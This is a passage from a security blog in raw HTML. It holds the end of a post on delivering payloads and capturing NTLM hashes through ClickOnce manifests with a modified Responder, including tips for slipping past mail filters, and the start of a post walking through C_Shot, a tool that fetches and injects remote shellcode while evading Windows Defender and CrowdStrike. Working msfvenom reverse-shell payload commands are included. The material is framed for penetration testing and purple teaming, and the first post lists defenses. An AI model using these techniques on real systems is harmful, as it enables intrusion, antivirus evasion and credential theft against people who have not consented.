valid code signing cert or have MAGE create a key to sign it with</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMQ-NfaNaX1JmkNCBU5_8OMDPnYtChxLZjEdW4TBaldZ2-8_qH4zgL7jzJwn3mbo2Amjt6nyEJUx61T-cd3e4KMfP7KReNpAZ0gYC7oxf9pFlXFph2o_ZlGldHt6eaCImxo-Ywvcdmxmk/s521/4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="521" data-original-width="429" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMQ-NfaNaX1JmkNCBU5_8OMDPnYtChxLZjEdW4TBaldZ2-8_qH4zgL7jzJwn3mbo2Amjt6nyEJUx61T-cd3e4KMfP7KReNpAZ0gYC7oxf9pFlXFph2o_ZlGldHt6eaCImxo-Ywvcdmxmk/d/4.png" /></a></div><p class="MsoNormal">Once the application manifest has been created and saved,
move on to creating a deployment manifest by clicking the ‘Create a new
deployment manifest’ button immediately next to the one that was clicked to
create the application manifest.
Configure this in the same manner, changing the name and processor
architecture.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_kFeTpAH5PYVbzEdZqz0xuOSEk8CVlAzSuAuLOLzcxa9DaAe5cZjiMEbn1mObTFR-Jz_CvoyZGiDijC4V3JjYezQ1FPdLUuornlhQvPKOF-L0CA6DojQ601PXVat3uTlsA1qfccjpz0c/s839/5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="536" data-original-width="839" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_kFeTpAH5PYVbzEdZqz0xuOSEk8CVlAzSuAuLOLzcxa9DaAe5cZjiMEbn1mObTFR-Jz_CvoyZGiDijC4V3JjYezQ1FPdLUuornlhQvPKOF-L0CA6DojQ601PXVat3uTlsA1qfccjpz0c/d/5.png" /></a></div><p class="MsoNormal">Set a publisher and product in the Description tab (these
can be anything), and then in the Deployment Options tab select ‘online only’
for application type, and check the ‘include start location’ box, which allows
you to enter the address you’ll be hosting your deployment manifest on:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAamgw5iQ7CIk8b1qxSW7wGGC80lxb020cJqnovZzjc6ACTE0ArtINls5gE4ukqrgvwWWKW0t3D_zPNhu6UsBLiSOmUPQRHpWLqe6lvaEa1rIRjF8L3YsMrABJkrdf7iB6e5O5tQqBvU8/s838/7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="536" data-original-width="838" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAamgw5iQ7CIk8b1qxSW7wGGC80lxb020cJqnovZzjc6ACTE0ArtINls5gE4ukqrgvwWWKW0t3D_zPNhu6UsBLiSOmUPQRHpWLqe6lvaEa1rIRjF8L3YsMrABJkrdf7iB6e5O5tQqBvU8/d/7.png" /></a></div><p class="MsoNormal">Finally, in the ‘Application Reference’ tab, select the
application manifest that you just created.
This will link the application manifest to the deployment manifest. Remember that paths between the two files are
relative, so if your application manifest is in a folder called “1.0.0.0” as in
the example below, this folder hierarchy needs to be replicated (or simulated)
server-side when deploying (see example below).
When selecting the application manifest, MAGE will always include the
name of the current folder it’s located in but will not take any portion of the
path beyond that.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpkNQkpNykHIK4zsosMAnlZtUbV48c_gXzLt8uCol-U3TUrISDKi5PUrfm5hOdonzpNLrfpoR75-qUrifPv3p3QjBuyheu0q43NS8BZ1aviQucPvwgW-qz3DLGGRY6ZM5Ymn2aUD9QuKM/s833/8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="534" data-original-width="833" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpkNQkpNykHIK4zsosMAnlZtUbV48c_gXzLt8uCol-U3TUrISDKi5PUrfm5hOdonzpNLrfpoR75-qUrifPv3p3QjBuyheu0q43NS8BZ1aviQucPvwgW-qz3DLGGRY6ZM5Ymn2aUD9QuKM/d/8.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf8YCSjnZrv1cyf5rMm3z28UYRyR5bOnsyB4Qm-B68d2q31UPegOIPVynZQ1EG4YLkS2dOumaYUD8XT15N_BWDk9Uz2RGjMX2xH5zr2uhWdB-YOq2m2qsNaDgclvtNNAchGljcAaZS58/s518/29.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="97" data-original-width="518" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf8YCSjnZrv1cyf5rMm3z28UYRyR5bOnsyB4Qm-B68d2q31UPegOIPVynZQ1EG4YLkS2dOumaYUD8XT15N_BWDk9Uz2RGjMX2xH5zr2uhWdB-YOq2m2qsNaDgclvtNNAchGljcAaZS58/d/29.png" /></a></div><p class="MsoNormal">Once this is done, simply sign and save it– using your
previously generated cert / valid code signing cert.</p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal">At this point, you should now have both a completed
application manifest and deployment manifest.
Upload them to the web / file server you indicated when building the
deployment manifest, and you should be good to start delivering. <o:p></o:p></p>
<p class="MsoNormal">On the webserver side of things, it really depends what your
end goal is – hash interception, payload delivery, or both. If you’re looking to do both, I <i>really</i>
suggest doing something more scalable than what I threw together, but if you’re
looking to test on your own network, here are roughly the changes I made to
responder:<o:p></o:p></p>
<p class="MsoNormal">Most of the changes were made to the PacketSequence function
in the HTTP.py library, and primarily consisted of adding some additional rules
to return files based on name. Some of
these (.application, .exe, optional .html) are done pre-NTLM auth, with the
manifest being done after NTLM auth in order to allow us to grab the
hash. And yep my search terms are
hardcoded values and are really janky :) <o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdoUsopee4YSfOdKL7qDrOjdS3U4XS_wjxIkBq4dbjRqkg-UcbUr8e6su1W9CV5tc4zqsMOU4yy658RnA0V_Pe7yvi4aQiKJRYLOdnKe_GLh4W_5GEkJqvVoEjolhn6z0Mdi3fwQ4nPZ4/s1028/31.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="267" data-original-width="1028" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdoUsopee4YSfOdKL7qDrOjdS3U4XS_wjxIkBq4dbjRqkg-UcbUr8e6su1W9CV5tc4zqsMOU4yy658RnA0V_Pe7yvi4aQiKJRYLOdnKe_GLh4W_5GEkJqvVoEjolhn6z0Mdi3fwQ4nPZ4/d/31.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl0KCbDd7LcYIhPU1sgcy3AgxsUVV2PDYjVetpWitotVwg72M2C8y9eF7W9bIizauV8gEEV8TZxWWTXAYzhkBZGixzXcNrU4-NT3s3YBtn8tbm3SFv-sme-qdTbDsXZNMcQEk4-EfjhYg/s908/30.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="240" data-original-width="908" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl0KCbDd7LcYIhPU1sgcy3AgxsUVV2PDYjVetpWitotVwg72M2C8y9eF7W9bIizauV8gEEV8TZxWWTXAYzhkBZGixzXcNrU4-NT3s3YBtn8tbm3SFv-sme-qdTbDsXZNMcQEk4-EfjhYg/d/30.png" /></a></div><p class="MsoNormal">On top of these changes, I modified the ServeExeFile and
ServeHtmlFile classes in packets.py to remove unnecessary headers that broke
things (X-CCC and X-CID) and changed the html mimetype to
“application/x-ms-application”. Finally,
I updated the conf file to include the following settings:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk2kzGIvYQzqkGiy88i1ksbgtcno2jMxPGJbFfYAQFfR4GCpDmojMcoLXrV6r03jyMviGY-wnMNt6if2IRFZnAl_AXR-5YvevxSIlBVHOdEnD_ib_kP3b5F3LsRacshj7we4p23G_kp0o/s571/32.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="248" data-original-width="571" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk2kzGIvYQzqkGiy88i1ksbgtcno2jMxPGJbFfYAQFfR4GCpDmojMcoLXrV6r03jyMviGY-wnMNt6if2IRFZnAl_AXR-5YvevxSIlBVHOdEnD_ib_kP3b5F3LsRacshj7we4p23G_kp0o/d/32.png" /></a></div><p class="MsoNormal">Note that the .html serving thing is completely optional,
this was just done so that I could host a web page that contained an embedded
deployment manifest file in it.</p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal"><b>Random Other Stuff<o:p></o:p></b></p>
<p class="MsoListParagraphCxSpFirst" style="mso-list: l2 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->There are some other options within the manifest
that you can manually modify that can allow you to attempt to install / run as
an admin. I tried messing around with
these but all my attempts ended in execution failures. <o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhajj5kG4nUjN2uDxf2Wapna0-QBIyQHzwoxaNtCLjnZ_KG5ngufBn7_31b9qRXhchG4wlNHN7B96KEIl0vU_fqeivOLTHjkmPHxG0yL2D7CjYSfO2yX2tEbignc2yP1VEZs6IpcbGDT5o/s674/35.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="275" data-original-width="674" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhajj5kG4nUjN2uDxf2Wapna0-QBIyQHzwoxaNtCLjnZ_KG5ngufBn7_31b9qRXhchG4wlNHN7B96KEIl0vU_fqeivOLTHjkmPHxG0yL2D7CjYSfO2yX2tEbignc2yP1VEZs6IpcbGDT5o/d/35.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBiemMN8sg4XDrvKYgw6F-hp2c1uPWtBhj9E86Yjalls17ehtFhWwcPcQXFb-2nQXAbY_vhy5KvbfVL3qCO-NcOkFbX5afmlp8OLhmQB25fPLzWsFAugUsmrDDBEzVp8shu5GHgjvLazE/s1087/23.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="95" data-original-width="1087" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBiemMN8sg4XDrvKYgw6F-hp2c1uPWtBhj9E86Yjalls17ehtFhWwcPcQXFb-2nQXAbY_vhy5KvbfVL3qCO-NcOkFbX5afmlp8OLhmQB25fPLzWsFAugUsmrDDBEzVp8shu5GHgjvLazE/d/23.png" /></a></div><p class="MsoListParagraphCxSpMiddle"><span style="text-indent: -0.25in;">I’ve had varying degrees of luck sending the
.application as a direct attachment. I’ve
had pretty good luck getting it past corporate mail filters into inboxes, but
the default O365 outlook filter appears to block it as untrusted, so YMMV.</span></p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l2 level1 lfo1; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l2 level1 lfo1; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->The documentation for these files is super
disjointed and kind of all over the place.
I’m pretty confident that this is only scratching the surface of what
can be done through these files, but still figured it was decent enough to
warrant a blog post. Hopefully it gives
some inspiration to go find some additional functionality within this
framework.<o:p></o:p></p>
<p class="MsoNormal"><b>Defenses:<o:p></o:p></b></p>
<p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Disallow .application and .deploy files at the
perimeter<o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->AppLocker blocks ClickOnce assemblies in its
default config as files are ran out of Appdata/Local, AWL can work as a
solution.<o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo2; text-indent: -0.25in;"><!--[if !supportLists]--><span style="font-family: symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;">·<span style="font-family: "times new roman"; font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span></span><!--[endif]-->Disable the ClickOnce trust prompt via registry
key as outlined here (change default behavior for the internet zone): <a href="https://docs.microsoft.com/en-us/visualstudio/deployment/how-to-configure-the-clickonce-trust-prompt-behavior?view=vs-2019">https://docs.microsoft.com/en-us/visualstudio/deployment/how-to-configure-the-clickonce-trust-prompt-behavior?view=vs-2019</a> Note, this only partially mitigates the risk
– the ability to run the manifest is disabled, but hash retrieval is still
possible:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGzdHS45eLJKnOEq5iQOvi6TRfEhzhCjPiNC29MAX3RZj0YbNnPVw5xpJ_Tz7CCSwoayrFJa0aWdzNaroFZSaaT-6pfolefGCXI2ae-HQ39yYxV_oOVn2HSfUkxzegZqXUlR4EIcBigZE/s1099/36.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="352" data-original-width="1099" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGzdHS45eLJKnOEq5iQOvi6TRfEhzhCjPiNC29MAX3RZj0YbNnPVw5xpJ_Tz7CCSwoayrFJa0aWdzNaroFZSaaT-6pfolefGCXI2ae-HQ39yYxV_oOVn2HSfUkxzegZqXUlR4EIcBigZE/d/36.png" /></a></div></div><div class="separator" style="clear: both; text-align: center;"><br /></div>
Davehttp://www.blogger.com/profile/17081446936005057389noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-85544256871016938732020-07-29T08:16:00.000-05:002020-07-29T09:52:03.699-05:00C_Shot - Just What The Doctor Ordered<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>C_Shot TL;DR</b></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><b style="line-height: 1.15;">What Is It?</b></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<div style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;">C_Shot is an offensive security tool written in C which is designed to download a remote shellcode binary file (.bin) over HTTP/HTTPS, inject the shellcode and execute it. C_shot can accomplish this two different ways:</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><b>1. Injects the shellcode into its own process</b></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">With this method, C_Shot becomes your sacrificial process to inject into. The C_Shot process will remain running until whatever you launched is finished running.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><b>2. Injects the shellcode into a child process using parent process spoofing</b></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span><span style="line-height: 1.15;">With this method, C_Shot is able to spoof a parent process of your choosing, open a child process of your choosing underneath that parent process, then inject and execute your shellcode within that child process. You also have the ability to add command line arguments to add some authenticity to the child process. <o:p></o:p></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
Code can be found here: <a href="https://github.com/anthemtotheego/C_Shot">https://github.com/anthemtotheego/C_Shot</a></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><b style="line-height: 1.15;">Who Is It For:</b></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;">When designing this tool I envisioned C_Shot being mostly used by security professionals performing penetration tests who might need a little assistance in catching some shells or performing purple teaming/controls tuning to test against this particular technique. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;">However, if you perform red teaming, you might find some of the code useful to rip out, modify and implement into your own arsenal.</span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><b style="line-height: 1.15;"><br /></b>
<b style="line-height: 1.15;">Why Use it:</b></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;">The benefit of using a tool like C_Shot is that like a cradle, the malicious code we want to execute isn't stored inside the binary but is retrieved from a remote location, read into memory and then executed. This helps make tools like C_Shot seem rather benign to AV/EDR and go undetected. As you will see in some of the examples in the walkthrough below I am able to get default Meterpreter shellcode to execute successfully against both Windows Defender and CrowdStrike. I also show in the very last example, using C_Shot to successfully execute a Cobalt Strike Beacon payload into our own process which gets past CrowdStrike as well. Lastly, I</span> understand that some may argue that C_Shot's technique of retrieving payloads remotely isn't opsec friendly and while I am not going to fully disagree, I will say that in the year 2020, pretty much every device calls out to the internet. So I will leave it up to the reader to weigh the risk for yourself when using this type of technique.<span style="line-height: 1.15;"></span></span></div>
</div>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
</div>
<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>Walkthrough</b></span></div>
<div style="line-height: 1.15;">
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><b style="line-height: 1.15;">Show Me What It Does:</b></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><i>Note: </i>This section will serve as a more detailed walkthrough and hopefully will give the reader some easy to understand examples on how to both compile, use, and benefits of the tool.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
Let us start by compiling C_Shot. I personally use Visual Studio 2019 as my IDE but you may use whatever you like or feel most comfortable with. Since C_Shot is literally one source file (cshot.c), I find it easier to just compile it using the Developer Command Prompt for VS 2019. Now to avoid accidentally compiling for the wrong architecture, I suggest you do a Windows search for developer command prompt, right click and open file location. You should see a folder called VC and when you open that, you should see several versions of the developer command prompt with the correct architecture shown.</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC3s9vuQDBCZSxEnnC7wklbL6L1mwMXPQoT7BMgM9UgzrjtZ0Z-gzd-c3YdDS44jZtp41QQ6rJVzqUTQNUCg3CkDiEcrf6cmoaAYYTB3ECFcBH4NRolWpCqYMPJUFJSVBPTd8rc0Y1akI/s1600/devComPrompt.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="299" data-original-width="1299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC3s9vuQDBCZSxEnnC7wklbL6L1mwMXPQoT7BMgM9UgzrjtZ0Z-gzd-c3YdDS44jZtp41QQ6rJVzqUTQNUCg3CkDiEcrf6cmoaAYYTB3ECFcBH4NRolWpCqYMPJUFJSVBPTd8rc0Y1akI/s1600/devComPrompt.PNG" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Choose the one that is the correct architecture and then change directories to wherever the cshot.c source file is located. All that is left to do now is run the following command:</span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15;"><span style="font-family: "arial" , "helvetica" , sans-serif;">cl /D _UNICODE /D UNICODE cshot.c
</span></pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;">Now that we have a fresh copy of cshot.exe sitting in our directory, let's go through some examples on how C_Shot can help us catch some shells. For all inclusive purposes, I will be using Metasploit's Meterpreter as the payload for all examples but one in this walkthrough. You could however easily use a different offensive framework like Cobalt Strike as I show in the last example.</span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;">So first let's build our Meterpreter payloads and see how they stack up against Windows Defender. If we can't get past default Defender we probably won't get past those well known EDR solutions. So let's be daring and try some default Meterpreter payloads. One staged and one stageless. If those two words mean nothing to you, this is your time to stop, google, and come back. I cannot stress the importance of understanding the behavior of all your tools. This understanding is really the key to evading defenses. </span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><b>msfvenom payload build commands:</b></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i>
<i>Staged:</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15;"><span style="font-family: "arial" , "helvetica" , sans-serif;">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=LISTENING_IP_HERE LPORT=LISTENING_PORT_HERE -a x64 --platform windows -b "\x00" -f raw -o DefaultStaged.bin</span></pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><i>Stageless:</i></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><i><br /></i></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
</div>
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15;"><span style="font-family: "arial" , "helvetica" , sans-serif;">msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=LISTENING_IP_HERE LPORT=LISTENING_PORT_HERE -a x64 --platform windows -b "\x00" -f raw -o DefaultStageless.bin
</span></pre>
</div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;">Now that we have our binary files built, we now just need a web service where we want to retrieve them from. This could be as simple as running python -m SimpleHTTPServer 80 within the same directory as your binary payload files on your attacker system or hosting them somewhere externally. For all the examples in this blog I will use github.com to host my payloads. </span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO7DqFLxtPgGpJLk4HWtkmLVp84pT0CAGYbndNoMB3SROq9BG9eyvH9Hbs3TU_42bc0UfsFIQCZpH24VH_3Zmmm-nsPAsalXQ2PLX25SBdTBj9F4kfatIXehX1lZY-GbwZvMgxltRPhJ4/s1600/Screen+Shot+2020-07-21+at+9.22.05+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="376" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO7DqFLxtPgGpJLk4HWtkmLVp84pT0CAGYbndNoMB3SROq9BG9eyvH9Hbs3TU_42bc0UfsFIQCZpH24VH_3Zmmm-nsPAsalXQ2PLX25SBdTBj9F4kfatIXehX1lZY-GbwZvMgxltRPhJ4/s1600/Screen+Shot+2020-07-21+at+9.22.05+AM.png" /></span></a></div>
<i><span style="font-family: "arial" , "helvetica" , sans-serif;">Now let us setup our Metasploit listener:</span></i><br />
<i><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></i>
<span style="font-family: "arial" , "helvetica" , sans-serif;">
</span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3r28LyIcJjqyW3uLimoQgS7bwmFigr-CqcDVA3uEk5KcamO2dy8Dzn77FhzUMKrteNRv56wv9ifgeJTnCpRUWGH2KZvHXsHe7FsbdVqMGsOmuDhGOfsd_FnCBdFRfP9BoLKT8_ltayQA/s1600/Screen+Shot+2020-07-21+at+9.55.55+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="217" data-original-width="700" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3r28LyIcJjqyW3uLimoQgS7bwmFigr-CqcDVA3uEk5KcamO2dy8Dzn77FhzUMKrteNRv56wv9ifgeJTnCpRUWGH2KZvHXsHe7FsbdVqMGsOmuDhGOfsd_FnCBdFRfP9BoLKT8_ltayQA/s1600/Screen+Shot+2020-07-21+at+9.55.55+AM.png" /></span></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Lastly, let's make sure Windows Defender is running on our victim machine:</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz2Zs_OykpZBOmzPAWnNAj56x1bErb4V14B1FkzEFqrIRhTHIDRLyfSgs3Mjni_6bDkzfv2egqe4GqMuMyXp_2PF_9ghj6TV-Y7n5KF6ZOAIVt5N_npBc4lE9ycjPh8m1Aj27hdJbL9gE/s1600/Screen+Shot+2020-07-21+at+9.32.48+AM.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><img border="0" data-original-height="164" data-original-width="533" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz2Zs_OykpZBOmzPAWnNAj56x1bErb4V14B1FkzEFqrIRhTHIDRLyfSgs3Mjni_6bDkzfv2egqe4GqMuMyXp_2PF_9ghj6TV-Y7n5KF6ZOAIVt5N_npBc4lE9ycjPh8m1Aj27hdJbL9gE/s640/Screen+Shot+2020-07-21+at+9.32.48+AM.png" width="640" /></span></a></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="line-height: 1.15;"><br /></span>
<span style="font-family: "calibri" , sans-serif;"><br /></span>
<span style="font-family: "calibri" , sans-serif;">Perfect. Now that we have everything ready to go, the last thing we need to do is run C_Shot on the victim machine and see how we do using a </span><span style="font-family: "calibri" , sans-serif;">default</span><b> staged </b><span style="font-family: "calibri" , sans-serif;">Meterpreter payload</span><span style="font-family: "calibri" , sans-serif;">. Let's first try injecting into our own process.</span></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><i><br /></i>
<i>Executing C_Shot on victim machine and injecting our default staged Meterpreter payload into our own process:</i></span><br />
